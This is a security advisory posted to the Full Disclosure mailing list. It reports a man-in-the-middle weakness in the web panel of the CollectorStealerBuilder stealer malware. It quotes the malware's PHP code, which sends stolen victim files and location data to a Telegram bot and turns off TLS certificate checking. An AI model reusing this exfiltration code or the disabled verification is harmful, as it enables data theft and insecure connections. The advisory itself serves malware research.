Full Disclosure mailing list archives

CollectorStealerBuilder v2.0.0 Panel / Man-in-the-Middle (MITM)


From: malvuln <malvuln13 () gmail com>
Date: Wed, 19 Jan 2022 22:04:03 -0500

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/54530f88c8e4f4371c9418f00c256b1d_B.txt
Contact: malvuln13 () gmail com
Media: twitter.com/malvuln

Threat: CollectorStealerBuilder v2.0.0 Panel
Vulnerability: Man-in-the-Middle (MITM)
Description: MITM vector exists as the CURL request used when sending data
to "api.telegram.org/bot" has CURLOPT_SSL_VERIFYPEER set to false.
CURLOPT_SSL_VERIFYPEER checks if remote certificate is valid and that you
trust was issued by a CA you trust and it's genuine.
Type: WebUI
MD5: 54530f88c8e4f4371c9418f00c256b1d
MD5: 8c003105229554557c75ec836b4fcf79 (collect.php)
Vuln ID: MVID-2022-0459
Disclosure: 01/19/2022

Exploit/PoC:
Vulnerable "collect.php" code snippet.

$desc = "_________________________ \r\n\n🏴 IP: " . $ip . "\n🌐 Country: "
. $country . "\n🏠 City: " . $city . "\n🔧 Build: ". $Build[1] .
"\r\n_________________________ \n\n" . $desc; // Добавляем айпи и город
$url = "https://api.telegram.org/bot"; . $token . "/sendDocument";
$document = new CURLFile(realpath($dest_path));
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, ["chat_id" => $chat_id, "document" =>
$document, "caption" => $desc]);
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type:multipart/form-data"]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$out = curl_exec($ch);
curl_close($ch);


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Current thread: